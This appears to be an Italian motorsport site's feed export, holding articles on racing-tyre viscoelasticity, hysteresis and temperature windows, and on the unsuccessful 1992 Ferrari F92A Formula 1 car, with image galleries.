<p><img decoding="async" class="aligncenter size-full wp-image-94167" src="https://www.giornalemotori.com/wp-content/uploads//2020/06/photo5920195874884005140.jpg" alt="photo5920195874884005140" width="951" height="634" title="Gli Pneumatici Parte II: L&#039;aderenza o Grip 512" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/06/photo5920195874884005140.jpg 951w, https://www.giornalemotori.com/wp-content/uploads/2020/06/photo5920195874884005140-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/06/photo5920195874884005140-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/06/photo5920195874884005140-696x464.jpg 696w" sizes="(max-width: 951px) 100vw, 951px" /></p>
<p style="text-align: justify;">In un regime di concorrenza tra costruttori di pneumatici, avere un rapporto privilegiato con i tecnici di un determinato brand anche se non il top, spesso conviene di più che avere la gomma migliore ma trovare da soli le condizioni di lavoro ottimali. In un regime di monogomma, le informazioni che il costruttore di riferimento fornisce a tutti i tecnici, vanno lette ed interpretate in modo corretto. Si può arrivare a diversi tipologie di rendimento anche per interi secondi di differenza in termini di percorrenza di una sola curva.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>Gli Pneumatici parte I: il concetto di finestra di temperatura e la Viscoelasticità</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Mon, 10 Aug 2020 10:30:08 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Per un appassionato di corse, una delle cose più complicate da comprendere è il comportamento dello pneumatico. Spesso durante i gran premi, i commentatori, anche tecnici, parlano di finestre di utilizzo, di condizioni ideali, di mescole che funzionano in una condizione per non funzionare affatto in un’altra. Condizioni, all&#8217;apparenza, molto simili tra loro. Uno dei [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">Per un appassionato di corse, una delle cose più complicate da comprendere è il comportamento dello pneumatico. Spesso durante i gran premi, i commentatori, anche tecnici, parlano di finestre di utilizzo, di condizioni ideali, di mescole che funzionano in una condizione per non funzionare affatto in un’altra. Condizioni, all&#8217;apparenza, molto simili tra loro.</p>
<p><figure id="attachment_93872" aria-describedby="caption-attachment-93872" style="width: 364px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-93872 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2020/06/Tyre-rubber-elastic-material-696x235-1.jpg" alt="Tyre rubber elastic material 696x235 1" width="364" height="233" title="Gli Pneumatici parte I: il concetto di finestra di temperatura e la Viscoelasticità 516" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/06/Tyre-rubber-elastic-material-696x235-1.jpg 364w, https://www.giornalemotori.com/wp-content/uploads/2020/06/Tyre-rubber-elastic-material-696x235-1-300x192.jpg 300w" sizes="(max-width: 364px) 100vw, 364px" /><figcaption id="caption-attachment-93872" class="wp-caption-text">Comportamento materiale elastico (Foto da The Tyre – Grip- Michelin)</figcaption></figure></p>
<p style="text-align: justify;">Uno dei motivi principali sta proprio nella composizione delle mescole gli pneumatici. La mescola di pneumatico si comporta in due modi: sia come elemento elastico che viscoso come un liquido, <em>viscoelasticità</em> appunto.</p>
<h4 style="text-align: justify;">Una spiegazione più tecnicistica</h4>
<p style="text-align: justify;">Analizzando i due comportamenti, si dice che un materiale è di tipo elastico, quando sotto carico si deforma in modo lineare tornando alla nella sua condizione di origine una volta rimosso il carico. La molla di una sospensione è il chiaro esempio di elemento elastico.</p>
<p style="text-align: justify;">Un materiale è viscoso quando, essendo sottoposto ad un determinato carico, si deforma a una velocità costante e non ritorna alla sua condizione originale una volta tolto il carico. In questo caso è assimilabile ad un pistone di ammortizzatore.</p>
<p><figure id="attachment_93873" aria-describedby="caption-attachment-93873" style="width: 311px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-93873 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2020/06/Tyre-rubber-viscous-material-696x285-1.jpg" alt="Tyre rubber viscous material 696x285 1" width="311" height="281" title="Gli Pneumatici parte I: il concetto di finestra di temperatura e la Viscoelasticità 517" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/06/Tyre-rubber-viscous-material-696x285-1.jpg 311w, https://www.giornalemotori.com/wp-content/uploads/2020/06/Tyre-rubber-viscous-material-696x285-1-300x271.jpg 300w" sizes="(max-width: 311px) 100vw, 311px" /><figcaption id="caption-attachment-93873" class="wp-caption-text">Isteresi materiale viscoso (Foto da The Tyre – Grip- Michelin)</figcaption></figure></p>
<p style="text-align: justify;">Ciò avviene perchè parte dell&#8217;energia usata per la compressione viene convertita in calore impedendo al pistone di tornare nella posizione di origine determinando il fenomeno della  isteresi. In fisica, l&#8217;<em>isteresi</em>, è la caratteristica di reagire in ritardo alle sollecitazioni applicate dipendenti dallo stato precedente all’applicazione causando un ritardo definito.</p>
<p style="text-align: justify;">La viscoelasticità di uno pneumatico può essere paragonata all&#8217;azione congiunta del comparto molla/ammortizzatore di una sospensione. Il pistone di un ammortizzatore ha un movimento viscoso. Trasformando parte del lavoro di compressione in calore non ritorna nella posizione iniziale. Ma essendo vincolato alla molla, questa per la sua capacità di esser elastica lo riporta la sospensione nella sua posizione iniziale compensando il ritardo per effetto del calore.</p>
<p><figure id="attachment_93874" aria-describedby="caption-attachment-93874" style="width: 696px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-93874 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2020/06/Tyre-rubber-viscoelastic-material-696x316-1.jpg" alt="Tyre rubber viscoelastic material 696x316 1" width="696" height="316" title="Gli Pneumatici parte I: il concetto di finestra di temperatura e la Viscoelasticità 518" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/06/Tyre-rubber-viscoelastic-material-696x316-1.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/06/Tyre-rubber-viscoelastic-material-696x316-1-300x136.jpg 300w" sizes="(max-width: 696px) 100vw, 696px" /><figcaption id="caption-attachment-93874" class="wp-caption-text">Materiale Viscoelastico (Foto da The Tyre – Grip- Michelin)</figcaption></figure></p>
<h4 style="text-align: justify;">Come opera tale effetto sullo pneumatico ?</h4>
<p style="text-align: justify;">Lo pneumatico si comporta un modo analogo. <strong>Il suo comportamento sarà determinato dalla quantità di calore dissipato dalla componente viscosa, dall&#8217;isteresi che si genera quando viene sottoposto a sollecitazione e dal  modulo di elasticità espresso con il parametro di durezza Shore-A della mescola. </strong></p>
<p style="text-align: justify;">Questo parametro è basso per i materiali morbidi e alto per i materiali duri. Si parte da “0” per le caramelle gommose e si arriva a “100” per i caschi di protezione. Un pneumatico, anche di serie, fa registrare valori da 60 ad 80 a seconda del tipo di mescola usata.</p>
<p style="text-align: justify;">Un&#8217;altro parametro fondamentale è la temperatura, legata direttamente alla frequenza della sollecitazione. Come una sospensione, anche lo pneumatico è sottoposto a sollecitazioni che hanno frequenze determinate.</p>
<p style="text-align: justify;"><img decoding="async" class="aligncenter size-large wp-image-93875" src="https://www.giornalemotori.com/wp-content/uploads//2020/06/1490182202-1024x494.jpg" alt="1490182202" width="1024" height="494" title="Gli Pneumatici parte I: il concetto di finestra di temperatura e la Viscoelasticità 519" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/06/1490182202-1024x494.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/06/1490182202-768x371.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/06/1490182202-300x145.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/06/1490182202-696x336.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/06/1490182202.jpg 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;">Il tecnico che lavora ad un set up di una auto definisce la taratura della sospensione in base alle frequenze a cui verrà sottoposta. Le a basse frequenza, per esempio in curve ad alta velocità, la deformazione è lenta con il grosso del lavoro svolto dalla molla. Ad alta frequenza, per esempio l&#8217;urto su  un cordolo, il pistone dell’ammortizzatore comprime olio più velocemente, aumentando la resistenza, diventando l&#8217;elemento dominante.</p>
<h4 style="text-align: justify;">Forza di attrito e grip</h4>
<p style="text-align: justify;">Una sospensione si può regolare scegliendo le molle adatte, tarando gli ammortizzatori,  in compressione ed estensione ma in pneumatico non è possibile  variare le condizioni per favorire una sollecitazione piuttosto che un&#8217;altra. La struttura, infatti, viene decisa dal costruttore in fase di progetto.</p>
<p><figure id="attachment_93876" aria-describedby="caption-attachment-93876" style="width: 696px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-93876 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2020/06/Tyre-rubber-maximum-hysteresis-conditions-2-696x367-1.jpg" alt="Tyre rubber maximum hysteresis conditions 2 696x367 1" width="696" height="367" title="Gli Pneumatici parte I: il concetto di finestra di temperatura e la Viscoelasticità 520" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/06/Tyre-rubber-maximum-hysteresis-conditions-2-696x367-1.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/06/Tyre-rubber-maximum-hysteresis-conditions-2-696x367-1-300x158.jpg 300w" sizes="(max-width: 696px) 100vw, 696px" /><figcaption id="caption-attachment-93876" class="wp-caption-text">Curve ottimali di Temperatura e Isteresi (Foto da The Tyre – Grip- Michelin)</figcaption></figure></p>
<p style="text-align: justify;">Le forze di attrito all&#8217;interno della mescola determinano il grip e dipendono direttamente dall&#8217;isteresi. Prediligere un lavoro alle alte frequenze di sollecitazione migliorerebbe l’aderenza,  ma esagerando con l&#8217;isteresi la temperatura si abbassa e la mescola entra in uno stato troppo rigido quasi vetroso che abbassa il grip.</p>
<p style="text-align: justify;">Anche il modulo di elasticità varia. Alle basse temperature aumenta il valore fino a diventare troppo rigido quasi fragile. Alle alte temperature si abbassa facendo diventare la mescola più flessibile ed elastica. La flessibilità è un altro fattore che genera attrito interno alla mescola ottenendo più grip.</p>
<p><figure id="attachment_93877" aria-describedby="caption-attachment-93877" style="width: 696px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-93877 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2020/06/Tyre-rubber-maximum-hysteresis-conditions-696x364-1.jpg" alt="Tyre rubber maximum hysteresis conditions 696x364 1" width="696" height="364" title="Gli Pneumatici parte I: il concetto di finestra di temperatura e la Viscoelasticità 521" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/06/Tyre-rubber-maximum-hysteresis-conditions-696x364-1.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/06/Tyre-rubber-maximum-hysteresis-conditions-696x364-1-300x157.jpg 300w" sizes="(max-width: 696px) 100vw, 696px" /><figcaption id="caption-attachment-93877" class="wp-caption-text">Proporzione tra Temperatura e Istersi (Foto da The Tyre – Grip- Michelin)</figcaption></figure></p>
<p style="text-align: justify;">Vien da sé che le due grandezze sono inversamente proporzionali. Quella che sembra essere una condizione impossibile, si verifica quando il pneumatico di trova a lavorare in unico punto di equilibrio delle due variabili. Ogni pneumatico ha una temperatura ideale localizzata immediatamente prima che inizi la fase di transizione per giungere allo stato vetroso. In questo punto esatto le due grandezze generano il massimo grip.</p>
<h4 style="text-align: justify;">Alcuni rimedi</h4>
<p style="text-align: justify;">Basta variare anche leggermente i valori d&#8217;istersi o temperatura perchè il pneumatico non abbia condizione di equilibrio per il massimo grip.  A secondo di quando ci si lontana da questo punto di equilibrio si possono verificare fenomeni di graning o di blistering, influenzando sia la durata che la prestazione del pneumatico nel tempo.</p>
<p><figure id="attachment_93878" aria-describedby="caption-attachment-93878" style="width: 696px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-93878 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2020/06/Tyre-rubber-frequency-temperature-equivalence-696x584-1.jpg" alt="Tyre rubber frequency temperature equivalence 696x584 1" width="696" height="584" title="Gli Pneumatici parte I: il concetto di finestra di temperatura e la Viscoelasticità 522" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/06/Tyre-rubber-frequency-temperature-equivalence-696x584-1.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/06/Tyre-rubber-frequency-temperature-equivalence-696x584-1-300x252.jpg 300w" sizes="(max-width: 696px) 100vw, 696px" /><figcaption id="caption-attachment-93878" class="wp-caption-text">Punto di equilibrio su esempio di pneumatico per produzione di serie ( Foto da The Tyre – Grip- Michelin)</figcaption></figure></p>
<p style="text-align: justify;">Il punto di equilibrio non è una costante per tutti gli pneumatici. Ogni costruttore usa la sua mescola brevettata con una data viscoelasticità specifica lavorando con una carcassa dalle caratteristiche uniche. In più ci sono diversi tipi di mescole a disposizione dei tecnici come in Formula 1 dove c&#8217;è ne sono ben cinque ognuna con il suo punto di equilibrio.</p>
<p style="text-align: justify;">Una volta che il pneumatico è determinato, sia per regolamento che per esigenze sponsor, è la vettura a dover avere un set up adatto a trovare il punto di equilibrio. Un lavoro che comincia con la progettazione del telaio, sospensioni, fino a coinvolgere l&#8217;aerodinamica.</p>
<p style="text-align: justify;">Spesso i team usano accorgimenti per trovare la giusta combinazione, giusto per fare un esempio, i fori nei cerchi, l&#8217;assetto variabile delle incidenze monoposto. Di contro, ci sono team che progettano vetture in grado di trovare l&#8217;equilibrio in un&#8217;unica condizione di set up e ambientali. Una vettura progettata in questo modo è efficiente solo in situazioni che si verificheranno un paio di volte nell&#8217;arco di una stagione.</p>
<p style="text-align: justify;"><img decoding="async" class="aligncenter size-full wp-image-93879" src="https://www.giornalemotori.com/wp-content/uploads//2020/06/curva-aderenza-gomme.jpg" alt="curva aderenza gomme" width="666" height="444" title="Gli Pneumatici parte I: il concetto di finestra di temperatura e la Viscoelasticità 523" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/06/curva-aderenza-gomme.jpg 666w, https://www.giornalemotori.com/wp-content/uploads/2020/06/curva-aderenza-gomme-300x200.jpg 300w" sizes="(max-width: 666px) 100vw, 666px" /></p>
<h4 style="text-align: justify;">Ma questa finestra di utilizzo ?</h4>
<p style="text-align: justify;">Spesso succede che regolazioni anche importanti, non cambiano i parametri di temperatura e frequenza, per giungere in quella i cronisti definiscono, finestra di utilizzo o punto di equilibrio. In questi casi non c&#8217;è altra via che una riprogettazione completa in base ai dati che sono stati rilevati sul lavoro degli pneumatici in gara, ammesso che si è compreso dove si trova il punto di equilibrio corretto.</p>
<p style="text-align: justify;">Un normale automobilista può cambiare gli pneumatici adattando il proprio set up ad una copertura ideale, il mercato e vasto e vario. Ma in Formula 1, come molte categorie del motorsport c’è un fornitore unico. Capire il punto di equilibrio tra frequenza di sollecitazione e temperatura per ogni mescole usata in gara, consente di avere una vettura con un vantaggio enorme sulla concorrenza in ogni condizione.</p>
<p style="text-align: justify;"><img decoding="async" class="aligncenter size-full wp-image-93880" src="https://www.giornalemotori.com/wp-content/uploads//2020/06/blistering_F1.png" alt="blistering F1" width="849" height="434" title="Gli Pneumatici parte I: il concetto di finestra di temperatura e la Viscoelasticità 524" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/06/blistering_F1.png 849w, https://www.giornalemotori.com/wp-content/uploads/2020/06/blistering_F1-768x393.png 768w, https://www.giornalemotori.com/wp-content/uploads/2020/06/blistering_F1-300x153.png 300w, https://www.giornalemotori.com/wp-content/uploads/2020/06/blistering_F1-696x356.png 696w" sizes="(max-width: 849px) 100vw, 849px" /></p>
<p style="text-align: justify;">Enzo Ferrari diceva <strong><em>&#8220;L&#8217;evoluzione meccanica ti consente di recuperare decimi, le gomme giuste anche interi secondi!&#8221;</em></strong> Noi ci sentiamo di aggiungere, <strong><em>&#8220;far lavorare le gomme nel modo giusto, interi secondi!&#8221; </em></strong></p>
<p><strong>Daniele Amore</strong></p>
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		<title>Le peggiori Formula 1 della storia: Ferrari F92A</title>
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		<dc:creator><![CDATA[Alessio Mazzocco]]></dc:creator>
		<pubDate>Thu, 30 Jul 2020 00:55:48 +0000</pubDate>
				<category><![CDATA[Formula 1]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[1992]]></category>
		<category><![CDATA[F1]]></category>
		<category><![CDATA[F92A]]></category>
		<category><![CDATA[formula 1]]></category>
		<category><![CDATA[monoposto leggendarie]]></category>
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					<description><![CDATA[<p>Presentata ufficialmente nel febbraio del 1992, la Ferrari F92A stupì gli addetti ai lavori. Si trattava, per l’epoca, di una monoposto rivoluzionaria, caratterizzata dalle pance sollevate dal fondo della vettura. Purtroppo, alla prova dei fatti, la F92A si dimostrò poco competitiva, anche nella successiva versiona AT con cambio trasversale, oltre che scarsamente affidabile. I migliori [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph"><span style="font-size: medium;">Presentata ufficialmente nel febbraio del 1992, la Ferrari F92A stupì gli addetti ai lavori. Si trattava, per l’epoca, di una monoposto rivoluzionaria, caratterizzata dalle pance sollevate dal fondo della vettura. Purtroppo, alla prova dei fatti, la F92A si dimostrò poco competitiva, anche nella successiva versiona AT con cambio trasversale, oltre che scarsamente affidabile. </span></p>



<p class="wp-block-paragraph"><span style="font-size: medium;">I migliori risultati ottenuti da Jean Alesi nel 1992 furono i terzi posti nel GP di Spagna e del Canada mentre il suo compagno Ivan Capelli non andò oltre la quinta posizione conquistata in Brasile. Nella classifica riservata ai costruttori, la Ferrari fu quarta, staccata in modo molto netto da Williams, McLaren e Benetton. Il <a href="http://www.f1.com" target="_blank" rel="noopener">Campionato mondiale piloti</a> venne dominato da Mansell con la Williams-Renault. Alesi fu soltanto settimo e Capelli addirittura dodicesimo nella classifica iridata.</span></p>



<p class="wp-block-paragraph"><span style="font-size: medium;">Il telaio della Ferrari F92A fu progettato sotto la supervisione di Steve Nichols, tecnico proveniente dalla McLaren. Harvey Postelthwaite, tornato da poco alla direzione tecnica della Ferrari, non aveva infatti avuto tempo per seguire la progettazione della vettura. La monoposto esasperava alcuni concetti aerodinamici sviluppati da Jean-Claude Migeot, tecnico francese arrivato in Formula 1 con la Renault e già alla Ferrari alla fine degli anni Ottanta, prima di passare alla Tyrrell. Proprio sulla Tyrrell 019 del 1990, Migeot introdusse il muso rialzato che ha caratterizzato la maggior parte delle vetture da Gran Premio.</span></p>



<p class="wp-block-paragraph"><span style="font-size: medium;">Nel tentativo di sfruttare ancora meglio i flussi dell’aria nella parte inferiore della monoposto, Migeot studiò un’inedita soluzione che prevedeva un fondo della vettura staccato di circa quindici centimetri dalle pance. Questo con l’obiettivo di avere più carico aerodinamico e quindi maggiore aderenza.</span></p>



<p class="wp-block-paragraph"><span style="font-size: medium;">Del tutto particolare fu la forma delle pance, con le prese d’aria laterali dei radiatori separate dal resto della scocca. La profilatura del telaio tra le pance e l’abitacolo serviva a dividere il flusso d’aria destinato alla parte superiore e inferiore della vettura. Il muso, anche per liberare la zona antistante il doppio fondo, era rialzato, con l’alettone anteriore sostenuto da due piloni. Nella zona centrale sotto l’abitacolo, il fondo delal F92A si prolungava in avanti, con una soluzione anche essa introdotta sulla Tyrrell e poi quasi generalizzata.</span></p>



<p class="wp-block-paragraph"><span style="font-size: medium;">Si può dire che la Ferrari F92A venne concepita e sviluppata in funzione delle esigenze aerodinamiche , secondo le direttive e le esigenze di Migeot. Il doppio fondo, che iniziava in corrispondenza delle prese d’aria, si estendeva sino al posteriore. Ai lati dell’alettone anteriore si potevano notare dei vistosi convogliatori dell’aria, con la duplice funzione di assicurare maggiore carico aerodinamico e di dirigere il flusso d’aria interessato verso l’esterno per non disturbare la circolazione dell’aria verso il doppio fondo.</span></p>



<p class="wp-block-paragraph"><span style="font-size: medium;">Tra le caratteristiche particolari della Ferrari F92A, va segnalata la presenza di un solo ammortizzatore anteriore, ancora come sulla Tyrrell 019. la vettura, al contrario della Williams, non era dotata di sospensioni a controllo elettronico, quelle chiamate familiarmente “attive” da molti addetti ai lavori. Il programma di sviluppo di queste ultime da parte della Ferrari era in ritardo rispetto a quello di altre squadre. </span></p>



<p class="wp-block-paragraph"><span style="font-size: medium;">L’ingegner Claudio Lombardi, divenuto nel frattempo responsabile dell’intero reparto corse, continuò a far sviluppare il dodici cilindri destinato alla F92A sul quale, dopo metà stagione, vennero varate le misure di alesaggio e di corsa. La Ferrari non comunicò mai ufficialmente la dimensione esatta di queste ultime, ma solo la cilindrata del propulsore che era di 3497 cm<sup>3</sup>. La distribuzione era a cinque valvole per cilindro, con due alberi a camme in testa per bancata. Dal GP di Monaco, il motore venne dotato di tromboncini di aspirazione dell’aria ad altezza variabile per ottimizzare il rendimento nelle fasi di utilizzo, in accelerazione come ai massimi regimi. </span></p>



<p class="wp-block-paragraph"><span style="font-size: medium;">Il cambio inizialmente fu a sei marce di tipo longitudinale, derivato da quello della 643, la vettura di Formula 1 della stagione precedente. Dal Gran Premio del Belgio, nel tentativo di migliorare la distribuzione dei pesi, la Ferrari F92A venne dotata di un cambio trasversale, sempre a sei marce.</span></p>



<p class="wp-block-paragraph"><span style="font-size: medium;">La vettura assunse la denominazione Ferrari F92AT. La carriera agonistica della Ferrari del 1992 fu veramente poco fortunata. Oltre a problemi di tenuta di strada e di equilibrio generale della vettura, si scoprì presto che la dimensione delle prese d’aria e dei radiatori, sacrificati in uno spazio troppo ristretto al fine di lasciare spazio al doppio fondo, era insufficiente. L’inevitabile surriscaldamento del motore portò a parecchie rotture di quest’ultimo nella parte della stagione. </span></p>



<p class="wp-block-paragraph"><span style="font-size: medium;">Per migliorare il raffreddamento e il rendimento del motore furono ampliate le prese d’aria sopra la testa del pilota, il serbatoio e le canalizzazioni dell’olio. Modifiche per migliorare la tenuta di strada, come dotare di sensori l’ammortizzatore anteriore per limitare il rollio dell’avantreno, servirono a poco. Alesi fu quarto in Brasile e terzo in Spagna sul bagnato. Il francese terminò a podio, in terza posizione, anche in Canada, finendo quinto in Germania.</span></p>



<p class="wp-block-paragraph"><span style="font-size: medium;">Poi più nulla fino ai Gp finali di Giappone e Australia, dove Alesi si piazzò quinto e quarto. Capelli raccolse solo un quinto posto in Brasile e un sesto in Ungheria. La F92A portò poca fortuna al pilota milanese che venne sostituito da Larini dei GP finali a Suzuka ed Adelaide.</span></p>



<figure class="wp-block-gallery has-nested-images columns-3 is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-large"><img decoding="async" width="1136" height="757" data-id="95253" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/gettyimages-1091081776-2048x2048-1.jpg" alt="gettyimages 1091081776 2048x2048 1" class="wp-image-95253" title="Le peggiori Formula 1 della storia: Ferrari F92A 525" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-1091081776-2048x2048-1.jpg 1136w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-1091081776-2048x2048-1-1024x682.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-1091081776-2048x2048-1-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-1091081776-2048x2048-1-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-1091081776-2048x2048-1-696x464.jpg 696w" sizes="(max-width: 1136px) 100vw, 1136px" /><figcaption>Le peggiori Formula 1 della storia: Ferrari F92A 538</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1136" height="757" data-id="95252" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/gettyimages-951894444-2048x2048-1.jpg" alt="gettyimages 951894444 2048x2048 1" class="wp-image-95252" title="Le peggiori Formula 1 della storia: Ferrari F92A 526" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-951894444-2048x2048-1.jpg 1136w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-951894444-2048x2048-1-1024x682.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-951894444-2048x2048-1-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-951894444-2048x2048-1-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-951894444-2048x2048-1-696x464.jpg 696w" sizes="(max-width: 1136px) 100vw, 1136px" /><figcaption>Le peggiori Formula 1 della storia: Ferrari F92A 539</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1136" height="757" data-id="95251" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/gettyimages-873928760-2048x2048-1.jpg" alt="gettyimages 873928760 2048x2048 1" class="wp-image-95251" title="Le peggiori Formula 1 della storia: Ferrari F92A 527" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873928760-2048x2048-1.jpg 1136w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873928760-2048x2048-1-1024x682.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873928760-2048x2048-1-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873928760-2048x2048-1-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873928760-2048x2048-1-696x464.jpg 696w" sizes="(max-width: 1136px) 100vw, 1136px" /><figcaption>Le peggiori Formula 1 della storia: Ferrari F92A 540</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1136" height="758" data-id="95250" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/gettyimages-873924144-2048x2048-1.jpg" alt="gettyimages 873924144 2048x2048 1" class="wp-image-95250" title="Le peggiori Formula 1 della storia: Ferrari F92A 528" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873924144-2048x2048-1.jpg 1136w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873924144-2048x2048-1-1024x683.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873924144-2048x2048-1-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873924144-2048x2048-1-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873924144-2048x2048-1-696x464.jpg 696w" sizes="(max-width: 1136px) 100vw, 1136px" /><figcaption>Le peggiori Formula 1 della storia: Ferrari F92A 541</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1136" height="757" data-id="95249" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/gettyimages-873924008-2048x2048-1.jpg" alt="gettyimages 873924008 2048x2048 1" class="wp-image-95249" title="Le peggiori Formula 1 della storia: Ferrari F92A 529" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873924008-2048x2048-1.jpg 1136w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873924008-2048x2048-1-1024x682.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873924008-2048x2048-1-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873924008-2048x2048-1-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873924008-2048x2048-1-696x464.jpg 696w" sizes="(max-width: 1136px) 100vw, 1136px" /><figcaption>Le peggiori Formula 1 della storia: Ferrari F92A 542</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1136" height="757" data-id="95248" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/gettyimages-873923446-2048x2048-1.jpg" alt="gettyimages 873923446 2048x2048 1" class="wp-image-95248" title="Le peggiori Formula 1 della storia: Ferrari F92A 530" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873923446-2048x2048-1.jpg 1136w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873923446-2048x2048-1-1024x682.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873923446-2048x2048-1-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873923446-2048x2048-1-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-873923446-2048x2048-1-696x464.jpg 696w" sizes="(max-width: 1136px) 100vw, 1136px" /><figcaption>Le peggiori Formula 1 della storia: Ferrari F92A 543</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1136" height="743" data-id="95247" src="https://www.giornalemotori.com/wp-content/uploads//2020/07/gettyimages-768550343-2048x2048-1.jpg" alt="gettyimages 768550343 2048x2048 1" class="wp-image-95247" title="Le peggiori Formula 1 della storia: Ferrari F92A 531" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-768550343-2048x2048-1.jpg 1136w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-768550343-2048x2048-1-1024x670.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-768550343-2048x2048-1-768x502.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-768550343-2048x2048-1-300x196.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-768550343-2048x2048-1-696x455.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/07/gettyimages-768550343-2048x2048-1-741x486.jpg 741w" sizes="(max-width: 1136px) 100vw, 1136px" /><figcaption>Le peggiori Formula 1 della storia: Ferrari F92A 544</figcaption></figure>



